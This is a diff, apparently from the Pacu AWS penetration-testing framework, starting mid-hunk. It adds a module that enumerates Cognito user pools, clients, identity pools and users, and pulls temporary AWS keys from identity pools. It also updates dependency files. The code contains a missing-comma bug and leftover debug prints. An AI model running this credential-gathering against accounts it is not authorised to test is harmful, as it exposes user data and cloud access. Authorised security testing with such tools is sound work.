identity_creds["Credentials"]["SecretKey"] + print(identity_pool["SecretKey"]) + if identity_creds["Credentials"]["SessionToken"] is not None: + print("Session Token found.") + identity_pool["SessionToken"] = identity_creds["Credentials"][ + "SessionToken" + ] + print(identity_pool["SessionToken"]) + if identity_creds["Credentials"]["Expiration"] is not None: + print("Expiration found.") + identity_pool["Expiration"] = identity_creds["Credentials"][ + "Expiration" + ] + print(identity_pool["Expiration"]) + return identity_pool diff --git a/pacu/modules/cognito__enum/main.py b/pacu/modules/cognito__enum/main.py new file mode 100644 index 00000000..7f610eea --- /dev/null +++ b/pacu/modules/cognito__enum/main.py @@ -0,0 +1,450 @@ +import argparse +from copy import deepcopy +from random import choice + + +from pacu.core.lib import save +from botocore.exceptions import ClientError +from pacu.core.secretfinder.utils import regex_checker, Color + +# Using Spencer's iam_enum.py as a template + +module_info = { + # Name of the module (should be the same as the filename) + "name": "cognito__enum", + # Name and any other notes about the author + "author": "David Kutz-Marks of Rhino Security Labs", + # Category of the module. Make sure the name matches an existing category. + "category": "ENUM", + # One liner description of the module functionality. This shows up when a user searches for modules. + "one_liner": "Enumerates Cognito information in the current AWS account.", + # Description about what the module does and how it works + "description": "The module is used to enumerate the following Cognito data in the current AWS account: users, user pool clients, user pools and identity pools. By default, all data will be enumerated, but if any arguments are passed in indicating what data to enumerate, only that specified data will be enumerated.", + # A list of AWS services that the module utilizes during its execution + "services": ["cognito-idp", "cognito-identity"], + # For prerequisite modules, try and see if any existing modules return the data that is required for your module before writing that code yourself; that way, session data can stay separated and modular. + "prerequisite_modules": [], + # External resources that the module depends on. Valid options are either a GitHub URL (must end in .git) or single file URL. + "external_dependencies": [], + # Module arguments to autocomplete when the user hits tab + "arguments_to_autocomplete": [ + "--regions", + "--user_pools", + "--user_pool_clients" "--identity_pools" "--users", + ], +} + +parser = argparse.ArgumentParser(add_help=False, description=module_info["description"]) + +parser.add_argument( + "--regions", + required=False, + default=None, + help='One or more (comma-separated) AWS regions in the format "us-east-1". Defaults to all session regions.', +) +parser.add_argument( + "--user_pools", + required=False, + default=False, + action="store_true", + help="Enumerate Cognito user pools", +) +parser.add_argument( + "--user_pool_clients", + required=False, + default=False, + action="store_true", + help="Enumerate Cognito user pool clients", +) +parser.add_argument( + "--identity_pools", + required=False, + default=False, + action="store_true", + help="Enumerate Cognito identity pools", +) +parser.add_argument( + "--users", + required=False, + default=False, + action="store_true", + help="Enumerate users in each user pool", +) +ARG_FIELD_MAPPER = { + "user_pools": "UserPools", + "user_pool_clients": "UserPoolClients", + "identity_pools": "IdentityPools", + "users": "Users", +} + + +def main(args, pacu_main): + session = pacu_main.get_active_session() + + args = parser.parse_args(args) + print = pacu_main.print + get_regions = pacu_main.get_regions + + if ( + args.user_pools is False + and args.user_pool_clients is False + and args.identity_pools is False + and args.users is False + ): + args.user_pools = ( + args.identity_pools + ) = args.users = args.user_pool_clients = True + + if args.regions is None: + regions = get_regions("cognito-idp") + if regions is None or regions == [] or regions == "" or regions == {}: + print( + "This module is not supported in any regions specified in the current sessions region set. Exiting..." + ) + return + else: + regions = args.regions.split(",") + + all_user_pools = [] + all_user_pool_clients = [] + all_identity_pools = [] + all_users_in_pools = [] + for region in regions: + user_pools = [] + user_pool_clients = [] + identity_pools = [] + users_in_pools = [] + + if any( + [args.user_pools, args.identity_pools, args.user_pool_clients, args.users] + ): + print("Starting region {}...".format(region)) + client = pacu_main.get_boto3_client("cognito-idp", region) + + try: + # User Pools + if args.user_pools: + client = pacu_main.get_boto3_client("cognito-idp", region) + response = None + next_token = False + while response is None or "NextToken" in response: + if next_token is False: + try: + response = client.list_user_pools( + MaxResults=60 # 60 is maximum + ) + except ClientError as error: + code = error.response["Error"]["Code"] + print( + "Unable to list user pools in this region (this is normal if the region is disabled in the account): " + ) + if code == "UnauthorizedOperation": + print(" Access denied to ListUserPools.") + else: + print(" " + code) + print(" Skipping user pool enumeration...") + + else: + response = client.list_user_pools( + NextToken=next_token, MaxResults=60 # 60 is maximum + ) + if "NextToken" in response: + next_token = response["NextToken"] + for userpool in response["UserPools"]: + userpool["Region"] = region + user_pools.append(userpool) + + print(" {} user pool(s) found.".format(len(user_pools))) + all_user_pools += user_pools + + # User Pool Clients + if args.user_pool_clients: + for user_pool in user_pools: + client = pacu_main.get_boto3_client("cognito-idp", region) + response = None + next_token = False + while response is None or "NextToken" in response: + if next_token is False: + try: + print( + f"Trying to list original user pool clients for UserPoolId: {user_pool['Id']}" + ) # Add this line + response = client.list_user_pool_clients( + UserPoolId=user_pool["Id"], MaxResults=60 + ) + + print("Testing.") + for user_pool_client in response["UserPoolClients"]: + client_info = {} + print("User pool client found.") + client_info["ClientId"] = user_pool_client[ + "ClientId" + ] + client_info["UserPoolId"] = user_pool_client[ + "UserPoolId" + ] + client_info["Region"] = region + user_pool_clients.append(client_info) + + except ClientError as error: + code = error.response["Error"]["Code"] + print("FAILURE: ") + if code == "UnauthorizedOperation": + print(" Access denied to ListUserPoolClients.") + elif ( + code == "InvalidParameterException" + ): # Add this block + print(" InvalidParameterException") + print( + f" UserPoolId causing the issue: {user_pool['Id']}" + ) + break + else: + print(" " + code) + print(" Skipping user pool client enumeration...") + else: + try: + print( + f"Trying to list else-block user pool clients for UserPoolId: {user_pool['Id']}" + ) # Add this line + response = client.list_user_pool_clients( + NextToken=next_token, + UserPoolId=user_pool["Id"], + MaxResults=60, + ) + + print("Testing.") + for user_pool_client in response["UserPoolClients"]: + client_info = {} + print("User pool client found.") + client_info["ClientId"] = user_pool_client[ + "ClientId" + ] + client_info["UserPoolId"] = user_pool_client[ + "UserPoolId" + ] + client_info["Region"] = region + user_pool_clients.append(client_info) + except ClientError as error: + code = error.response["Error"]["Code"] + print("FAILURE: ") + if code == "UnauthorizedOperation": + print(" Access denied to ListUserPoolClients.") + elif ( + code == "InvalidParameterException" + ): # Add this block + print(" InvalidParameterException") + print( + f" UserPoolId causing the issue: {user_pool['Id']}" + ) + break + else: + print(" " + code) + print(" Skipping user pool client enumeration...") + break + + if "NextToken" in response: + next_token = response["NextToken"] + else: + next_token = None + + print( + f' {len(user_pool_clients)} user pool client(s) found in user pool {user_pool["Id"]}.' + ) + all_user_pool_clients += user_pool_clients + + # Identity Pools + if args.identity_pools: + client = pacu_main.get_boto3_client("cognito-identity", region) + response = None + next_token = False + while response is None or "NextToken" in response: + if next_token is False: + try: + response = client.list_identity_pools( + MaxResults=60 # 60 is maximum + ) + except ClientError as error: + code = error.response["Error"]["Code"] + print("FAILURE: ") + if code == "UnauthorizedOperation": + print(" Access denied to ListIdentityPools.") + else: + print(" " + code) + print(" Skipping identity pool enumeration...") + + else: + response = client.list_identity_pools( + NextToken=next_token, MaxResults=60 # 60 is maximum + ) + if "NextToken" in response: + next_token = response["NextToken"] + for identity_pool in response["IdentityPools"]: + identity_pool["Region"] = region + try: + identity_id = client.get_id( + IdentityPoolId=identity_pool["IdentityPoolId"] + ) + identity_creds = client.get_credentials_for_identity( + IdentityId=identity_id["IdentityId"] + ) + if identity_creds["Credentials"]["AccessKeyId"] is not None: + print("Access Key ID found.") + identity_pool["AccessKeyId"] = identity_creds[ + "Credentials" + ]["AccessKeyId"] + if identity_creds["Credentials"]["SecretKey"] is not None: + print("Secret Key found.") + identity_pool["SecretKey"] = identity_creds[ + "Credentials" + ]["SecretKey"] + if ( + identity_creds["Credentials"]["SessionToken"] + is not None + ): + print("Session Token found.") + identity_pool["SessionToken"] = identity_creds[ + "Credentials" + ]["SessionToken"] + if identity_creds["Credentials"]["Expiration"] is not None: + print("Expiration found.") + identity_pool["Expiration"] = identity_creds[ + "Credentials" + ]["Expiration"] + except ClientError as error: + code = error.response["Error"]["Code"] + if code == "UnauthorizedOperation": + print( + " Access denied to GetId or GetCredentialsForIdentity." + ) + else: + print(" " + code) + print(" Skipping identity pool credentials enumeration...") + identity_pools.append(identity_pool) + + print(" {} identity pool(s) found.".format(len(identity_pools))) + all_identity_pools += identity_pools + + # List Users in each User Pool + if args.users: + for user_pool in user_pools: + client = pacu_main.get_boto3_client("cognito-idp", region) + response = None + iterate = 0 + pagination_token = "" + while iterate is 0 or "PaginationToken" in response: + try: + iterate += 1 + print( + f"Trying to list users for UserPoolId: {user_pool['Id']}" + ) # Add this line + print("Stage two") + response = ( + client.list_users( + UserPoolId=user_pool["Id"], + Limit=60, + PaginationToken=pagination_token, + ) + if pagination_token + else client.list_users( + UserPoolId=user_pool["Id"], Limit=60 + ) + ) + pagination_token = ( + response["PaginationToken"] + if "PaginationToken" in response + else "" + ) + + print("Testing.") + for user in response["Users"]: + user["UserPoolId"] = user_pool["Id"] + user["Region"] = region + users_in_pools.append(user) + + except ClientError as error: + code = error.response["Error"]["Code"] + print("FAILURE: ") + if code == "UnauthorizedOperation": + print(" Access denied to ListUsers.") + elif code == "InvalidParameterException": # Add this block + print(" InvalidParameterException") + print( + f" UserPoolId causing the issue: {user_pool['Id']}" + ) + break + else: + print(" " + code) + print(" Skipping user enumeration...") + + print( + f' {len(users_in_pools)} user(s) found in user pool {user_pool["Id"]}.' + ) + all_users_in_pools += users_in_pools + + except Exception: + continue + + gathered_data = { + "UserPools": all_user_pools, + "UserPoolClients": all_user_pool_clients, + "IdentityPools": all_identity_pools, + "UsersInPools": all_users_in_pools, + } + + for var in vars(args): + if var == "regions": + continue + if not getattr(args, var): + if ARG_FIELD_MAPPER[var] in gathered_data: + del gathered_data[ARG_FIELD_MAPPER[var]] + + cognito_data = deepcopy(session.Cognito) + for key, value in gathered_data.items(): + cognito_data[key] = value + session.update(pacu_main.database, Cognito=cognito_data) + + # Add regions to gathered_data for summary output + gathered_data["regions"] = regions + + if any([args.user_pools, args.identity_pools]): + return gathered_data + else: + print("No data successfully enumerated.\n") + return None + + +def summary(data, pacu_main): + results = [] + + results.append(" Regions:") + for region in data["regions"]: + results.append(" {}".format(region)) + + results.append("") + + if "UserPools" in data: + results.append( + " {} total user pool(s) found.".format(len(data["UserPools"])) + ) + + if "UserPoolClients" in data: + results.append( + " {} total user pool client(s) found.".format( + len(data["UserPoolClients"]) + ) + ) + + if "IdentityPools" in data: + results.append( + " {} total identity pool(s) found.".format(len(data["IdentityPools"])) + ) + + if "UsersInPools" in data: + results.append( + " {} total user(s) in user pool(s) found.".format( + len(data["UsersInPools"]) + ) + ) + + return "\n".join(results) diff --git a/poetry.lock b/poetry.lock index 1c35cfb3..693be54c 100644 --- a/poetry.lock +++ b/poetry.lock @@ -26,7 +26,7 @@ python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" dev = ["coverage[toml] (>=5.0.2)", "furo", "hypothesis", "pre-commit", "pympler", "pytest (>=4.3.0)", "six", "sphinx", "zope.interface"] docs = ["furo", "sphinx", "zope.interface"] tests = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "zope.interface"] -tests_no_zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six"] +tests-no-zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six"] [[package]] name = "awscli" @@ -404,7 +404,7 @@ python-versions = ">=3.6" name = "cffi" version = "1.14.6" description = "Foreign Function Interface for Python calling C code." -category = "dev" +category = "main" optional = false python-versions = "*" @@ -445,7 +445,7 @@ optional = false python-versions = ">=3.5.0" [package.extras] -unicode_backport = ["unicodedata2"] +unicode-backport = ["unicodedata2"] [[package]] name = "click" @@ -467,7 +467,7 @@ python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" name = "cryptography" version = "3.4.7" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -category = "dev" +category = "main" optional = false python-versions = ">=3.6" @@ -505,6 +505,32 @@ urllib3 = ">=1.26.4,<2.0.0" [package.extras] cli = ["typer (>=0.3.2,<0.4.0)"] +[[package]] +name = "ecdsa" +version = "0.18.0" +description = "ECDSA cryptographic signature library (pure python)" +category = "main" +optional = false +python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" + +[package.dependencies] +six = ">=1.9.0" + +[package.extras] +gmpy = ["gmpy"] +gmpy2 = ["gmpy2"] + +[[package]] +name = "envs" +version = "1.4" +description = "Easy access of environment variables from Python with support for strings, booleans, list, tuples, and dicts." +category = "main" +optional = false +python-versions = ">=3.6,<4.0" + +[package.extras] +cli = ["Jinja2[cli] (>=3.0.3,<4.0.0)", "click[cli] (>=8.0.3,<9.0.0)", "terminaltables[cli] (>=3.1.10,<4.0.0)"] + [[package]] name = "flake8" version = "3.9.2" @@ -798,11 +824,25 @@ category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +[[package]] +name = "pycognito" +version = "2023.5.0" +description = "Python class to integrate Boto3's Cognito client so it is easy to login users. With SRP support." +category = "main" +optional = false +python-versions = "*" + +[package.dependencies] +boto3 = ">=1.10.49" +envs = ">=1.3" +python-jose = {version = ">=3.2.0", extras = ["cryptography"]} +requests = ">=2.22.0" + [[package]] name = "pycparser" version = "2.20" description = "C parser in Python" -category = "dev" +category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" @@ -822,6 +862,14 @@ category = "dev" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +[[package]] +name = "pypng" +version = "0.20220715.0" +description = "Pure Python library for saving and loading PNG images" +category = "main" +optional = false +python-versions = "*" + [[package]] name = "pytest" version = "6.2.4" @@ -863,6 +911,25 @@ category = "main" optional = false python-versions = "*" +[[package]] +name = "python-jose" +version = "3.3.0" +description = "JOSE implementation in Python" +category = "main" +optional = false +python-versions = "*" + +[package.dependencies] +cryptography = {version = ">=3.4.0", optional = true, markers = "extra == \"cryptography\""} +ecdsa = "!=0.15" +pyasn1 = "*" +rsa = "*" + +[package.extras] +cryptography = ["cryptography (>=3.4.0)"] +pycrypto = ["pyasn1", "pycrypto (>=2.6.0,<2.7.0)"] +pycryptodome = ["pyasn1", "pycryptodome (>=3.3.1,<4.0.0)"] + [[package]] name = "pytz" version = "2021.1" @@ -879,6 +946,26 @@ category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +[[package]] +name = "qrcode" +version = "7.4.2" +description = "QR Code image generator" +category = "main" +optional = false +python-versions = ">=3.7" + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} +pypng = "*" +typing-extensions = "*" + +[package.extras] +all = ["pillow (>=9.1.0)", "pytest", "pytest-cov", "tox", "zest.releaser[recommended]"] +dev = ["pytest", "pytest-cov", "tox"] +maintainer = ["zest.releaser[recommended]"] +pil = ["pillow (>=9.1.0)"] +test = ["coverage", "pytest"] + [[package]] name = "readchar" version = "2.0.1" @@ -903,7 +990,7 @@ urllib3 = ">=1.21.1,<1.27" [package.extras] socks = ["PySocks (>=1.5.6,!=1.5.7)", "win-inet-pton"] -use_chardet_on_py3 = ["chardet (>=3.0.2,<5)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<5)"] [[package]] name = "responses" @@ -976,14 +1063,14 @@ python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" [package.extras] mssql = ["pyodbc"] -mssql_pymssql = ["pymssql"] -mssql_pyodbc = ["pyodbc"] +mssql-pymssql = ["pymssql"] +mssql-pyodbc = ["pyodbc"] mysql = ["mysqlclient"] oracle = ["cx_oracle"] postgresql = ["psycopg2"] -postgresql_pg8000 = ["pg8000 (<1.16.6)"] -postgresql_psycopg2binary = ["psycopg2-binary"] -postgresql_psycopg2cffi = ["psycopg2cffi"] +postgresql-pg8000 = ["pg8000 (<1.16.6)"] +postgresql-psycopg2binary = ["psycopg2-binary"] +postgresql-psycopg2cffi = ["psycopg2cffi"] pymysql = ["pymysql", "pymysql (<1)"] [[package]] @@ -1020,7 +1107,7 @@ password = ["passlib (>=1.6,<2.0)"] pendulum = ["pendulum (>=2.0.5)"] phone = ["phonenumbers (>=5.9.2)"] test = ["Jinja2 (>=2.3)", "Pygments (>=1.2)", "backports.zoneinfo", "docutils (>=0.10)", "flake8 (>=2.4.0)", "flexmock (>=0.9.7)", "isort (>=4.2.2)", "mock (==2.0.0)", "pg8000 (>=1.12.4)", "psycopg2 (>=2.5.1)", "psycopg2cffi (>=2.8.1)", "pymysql", "pyodbc", "pytest (>=2.7.1)", "python-dateutil (>=2.6)", "pytz (>=2014.2)"] -test_all = ["Babel (>=1.3)", "Jinja2 (>=2.3)", "Pygments (>=1.2)", "arrow (>=0.3.4)", "backports.zoneinfo", "colour (>=0.0.4)", "cryptography (>=0.6)", "docutils (>=0.10)", "flake8 (>=2.4.0)", "flexmock (>=0.9.7)", "furl (>=0.4.1)", "intervals (>=0.7.1)", "isort (>=4.2.2)", "mock (==2.0.0)", "passlib (>=1.6,<2.0)", "pendulum (>=2.0.5)", "pg8000 (>=1.12.4)", "phonenumbers (>=5.9.2)", "psycopg2 (>=2.5.1)", "psycopg2cffi (>=2.8.1)", "pymysql", "pyodbc", "pytest (>=2.7.1)", "python-dateutil", "python-dateutil (>=2.6)", "pytz (>=2014.2)"] +test-all = ["Babel (>=1.3)", "Jinja2 (>=2.3)", "Pygments (>=1.2)", "arrow (>=0.3.4)", "backports.zoneinfo", "colour (>=0.0.4)", "cryptography (>=0.6)", "docutils (>=0.10)", "flake8 (>=2.4.0)", "flexmock (>=0.9.7)", "furl (>=0.4.1)", "intervals (>=0.7.1)", "isort (>=4.2.2)", "mock (==2.0.0)", "passlib (>=1.6,<2.0)", "pendulum (>=2.0.5)", "pg8000 (>=1.12.4)", "phonenumbers (>=5.9.2)", "psycopg2 (>=2.5.1)", "psycopg2cffi (>=2.8.1)", "pymysql", "pyodbc", "pytest (>=2.7.1)", "python-dateutil", "python-dateutil (>=2.6)", "pytz (>=2014.2)"] timezone = ["python-dateutil"] url = ["furl (>=0.4.1)"] @@ -1114,7 +1201,7 @@ testing = ["func-timeout", "jaraco.itertools", "pytest (>=4.6)", "pytest-black ( [metadata] lock-version = "1.1" python-versions = "^3.7" -content-hash = "17b7ea8d26e09b5d8e6afdb8bd5f7db615b7713819572912fc7cc93c8b53679f" +content-hash = "9f4e12eaabdd72f1b6d11da8c1d0b9bb1f103dfbec0cc24054a47b17b1ec6314" [metadata.files] ansicon = [ @@ -1245,6 +1332,14 @@ dsnap = [ {file = "dsnap-1.0.0-py3-none-any.whl", hash = "sha256:9009a98a70770259d18cae88d806a5baf7cd80ecf2ee148888831f0ba28b8f24"}, {file = "dsnap-1.0.0.tar.gz", hash = "sha256:fc11265438fb5a0af79f02f276468e75b0b36f49d545c85454831c2e5698e035"}, ] +ecdsa = [ + {file = "ecdsa-0.18.0-py2.py3-none-any.whl", hash = "sha256:80600258e7ed2f16b9aa1d7c295bd70194109ad5a30fdee0eaeefef1d4c559dd"}, + {file = "ecdsa-0.18.0.tar.gz", hash = "sha256:190348041559e21b22a1d65cee485282ca11a6f81d503fddb84d5017e9ed1e49"}, +] +envs = [ + {file = "envs-1.4-py3-none-any.whl", hash = "sha256:4a1fcf85e4d4443e77c348ff7cdd3bfc4c0178b181d447057de342e4172e5ed1"}, + {file = "envs-1.4.tar.gz", hash = "sha256:9d8435c6985d1cdd68299e04c58e2bdb8ae6cf66b2596a8079e6f9a93f2a0398"}, +] flake8 = [ {file = "flake8-3.9.2-py2.py3-none-any.whl", hash = "sha256:bf8fd333346d844f616e8d47905ef3a3384edae6b4e9beb0c5101e25e3110907"}, {file = "flake8-3.9.2.tar.gz", hash = "sha256:07528381786f2a6237b061f6e96610a4167b226cb926e2aa2b6b1d78057c576b"}, @@ -1425,24 +1520,17 @@ py = [ {file = "py-1.10.0.tar.gz", hash = "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3"}, ] pyasn1 = [ - {file = "pyasn1-0.4.8-py2.4.egg", hash = "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"}, - {file = "pyasn1-0.4.8-py2.5.egg", hash = "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf"}, - {file = "pyasn1-0.4.8-py2.6.egg", hash = "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00"}, - {file = "pyasn1-0.4.8-py2.7.egg", hash = "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8"}, {file = "pyasn1-0.4.8-py2.py3-none-any.whl", hash = "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d"}, - {file = "pyasn1-0.4.8-py3.1.egg", hash = "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86"}, - {file = "pyasn1-0.4.8-py3.2.egg", hash = "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7"}, - {file = "pyasn1-0.4.8-py3.3.egg", hash = "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576"}, - {file = "pyasn1-0.4.8-py3.4.egg", hash = "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12"}, - {file = "pyasn1-0.4.8-py3.5.egg", hash = "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2"}, - {file = "pyasn1-0.4.8-py3.6.egg", hash = "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359"}, - {file = "pyasn1-0.4.8-py3.7.egg", hash = "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776"}, {file = "pyasn1-0.4.8.tar.gz", hash = "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba"}, ] pycodestyle = [ {file = "pycodestyle-2.7.0-py2.py3-none-any.whl", hash = "sha256:514f76d918fcc0b55c6680472f0a37970994e07bbb80725808c17089be302068"}, {file = "pycodestyle-2.7.0.tar.gz", hash = "sha256:c389c1d06bf7904078ca03399a4816f974a1d590090fecea0c63ec26ebaf1cef"}, ] +pycognito = [ + {file = "pycognito-2023.5.0-py3-none-any.whl", hash = "sha256:0a73c2bdc966465df3a61cba445f58beee9734638be7b10681792725651168eb"}, + {file = "pycognito-2023.5.0.tar.gz", hash = "sha256:3843cfff56969f7c4b0b2fd499877941d0bf33e39c4541dc896c2b83bef5db24"}, +] pycparser = [ {file = "pycparser-2.20-py2.py3-none-any.whl", hash = "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705"}, {file = "pycparser-2.20.tar.gz", hash = "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0"}, @@ -1455,6 +1543,10 @@ pyparsing = [ {file = "pyparsing-2.4.7-py2.py3-none-any.whl", hash = "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"}, {file = "pyparsing-2.4.7.tar.gz", hash = "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"}, ] +pypng = [ + {file = "pypng-0.20220715.0-py3-none-any.whl", hash = "sha256:4a43e969b8f5aaafb2a415536c1a8ec7e341cd6a3f957fd5b5f32a4cfeed902c"}, + {file = "pypng-0.20220715.0.tar.gz", hash = "sha256:739c433ba96f078315de54c0db975aee537cbc3e1d0ae4ed9aab0ca1e427e2c1"}, +] pytest = [ {file = "pytest-6.2.4-py3-none-any.whl", hash = "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890"}, {file = "pytest-6.2.4.tar.gz", hash = "sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b"}, @@ -1466,9 +1558,11 @@ python-dateutil = [ python-editor = [ {file = "python-editor-1.0.4.tar.gz", hash = "sha256:51fda6bcc5ddbbb7063b2af7509e43bd84bfc32a4ff71349ec7847713882327b"}, {file = "python_editor-1.0.4-py2-none-any.whl", hash = "sha256:5f98b069316ea1c2ed3f67e7f5df6c0d8f10b689964a4a811ff64f0106819ec8"}, - {file = "python_editor-1.0.4-py2.7.egg", hash = "sha256:ea87e17f6ec459e780e4221f295411462e0d0810858e055fc514684350a2f522"}, {file = "python_editor-1.0.4-py3-none-any.whl", hash = "sha256:1bf6e860a8ad52a14c3ee1252d5dc25b2030618ed80c022598f00176adc8367d"}, - {file = "python_editor-1.0.4-py3.5.egg", hash = "sha256:c3da2053dbab6b29c94e43c486ff67206eafbe7eb52dbec7390b5e2fb05aac77"}, +] +python-jose = [ + {file = "python-jose-3.3.0.tar.gz", hash = "sha256:55779b5e6ad599c6336191246e95eb2293a9ddebd555f796a65f838f07e5d78a"}, + {file = "python_jose-3.3.0-py2.py3-none-any.whl", hash = "sha256:9b1376b023f8b298536eedd47ae1089bcdb848f1535ab30555cd92002d78923a"}, ] pytz = [ {file = "pytz-2021.1-py2.py3-none-any.whl", hash = "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798"}, @@ -1505,6 +1599,10 @@ pyyaml = [ {file = "PyYAML-5.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:c20cfa2d49991c8b4147af39859b167664f2ad4561704ee74c1de03318e898db"}, {file = "PyYAML-5.4.1.tar.gz", hash = "sha256:607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e"}, ] +qrcode = [ + {file = "qrcode-7.4.2-py3-none-any.whl", hash = "sha256:581dca7a029bcb2deef5d01068e39093e80ef00b4a61098a2182eac59d01643a"}, + {file = "qrcode-7.4.2.tar.gz", hash = "sha256:9dd969454827e127dbd93696b20747239e6d540e082937c90f14ac95b30f5845"}, +] readchar = [ {file = "readchar-2.0.1-py2-none-any.whl", hash = "sha256:ed00b7a49bb12f345319d9fa393f289f03670310ada2beb55e8c3f017c648f1e"}, {file = "readchar-2.0.1-py3-none-any.whl", hash = "sha256:3ac34aab28563bc895f73233d5c08b28f951ca190d5850b8d4bec973132a8dca"}, diff --git a/pyproject.toml b/pyproject.toml index 3620f377..694a2388 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -21,6 +21,8 @@ typing-extensions = "^3.7.4.3" dsnap = "^1.0.0" chalice = "^1.23.0" policyuniverse = "^1.5.0.20220613" +pycognito = "^2023.5.0" +qrcode = "^7.4.2" [tool.poetry.dev-dependencies] flake8 = "^3.9.1" diff --git a/requirements.txt b/requirements.txt index 27fba9b8..359ff210 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,88 +1,154 @@ -ansicon==1.89.0 ; python_version >= "3.6" and python_version < "4.0" and platform_system == "Windows" \ +ansicon==1.89.0 ; python_version >= "3.7" and python_version < "4.0" and platform_system == "Windows" \ --hash=sha256:e4d039def5768a47e4afec8e89e83ec3ae5a26bf00ad851f914d1240b444d2b1 \ --hash=sha256:f1def52d17f65c2c9682cf8370c03f541f410c1752d6a14029f97318e4b9dfec -attrs==20.3.0 ; python_version >= "3.6" and python_version < "4.0" \ +attrs==20.3.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6 \ --hash=sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700 -awscli==1.27.74 ; python_version >= "3.6" and python_version < "4.0" \ - --hash=sha256:09b22f1e5544d641e880d6a6fb420143213cc294c0d20231523adad544c829c9 \ - --hash=sha256:55530418bbefb69e52674d567238d565d83e73a382d50de68559fe70c996a6aa -blessed==1.17.6 ; python_version >= "3.6" and python_version < "4.0" \ +awscli==1.20.13 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:1039ab7ac6051297162ce96cbff4fd5dfc4d3a9c9796a856aeab0f460806d118 \ + --hash=sha256:a9a580916b6934f6bcc0356184bf802eb573374b532da2d6a01c4a2129e214cc +blessed==1.17.6 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:8371d69ac55558e4b1591964873d6721136e9ea17a730aeb3add7d27761b134b \ --hash=sha256:a9a774fc6eda05248735b0d86e866d640ca2fef26038878f7e4d23f7749a1e40 -boto3==1.26.74 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:a3cf126d18194e5d350ec46f99f1fff15beacdf091d1979e8471681688e14ba1 \ - --hash=sha256:57f1696cbf5927180521ddabc37f10eb6650ccedc2b784dfb04502193bb65df9 -botocore==1.29.74 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:bf1515908c8ffdffa249e112fd9bbb54d919ce8fb5ee88baf9c198dda6172fd5 \ - --hash=sha256:cb1e1a584c0bea3b1bcf39710eb7b2e58add56945598d95356bf9f6d4cc8b6ae -certifi==2022.12.7 ; python_version >= "3.6" and python_version < "4.0" \ +boto3==1.18.13 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:8c3676239a35eba465e7df2df58ca400219729d4b732b7202f18caf0308ececa \ + --hash=sha256:bd6524c4ac854eb1fa31ab7040d405385f11231b84988b2a5c8e9896a3da0bf1 +botocore==1.21.13 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:37c1c17326f9c81aba73efc6b496ccfe536822e576bc89ceee460dc18108f3a0 \ + --hash=sha256:ce20da2dff6ab36ebee3b2efdf0bcc859ee1a7f8ec0d2ae3eaac5f50f6c729fd +certifi==2022.12.7 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3 \ 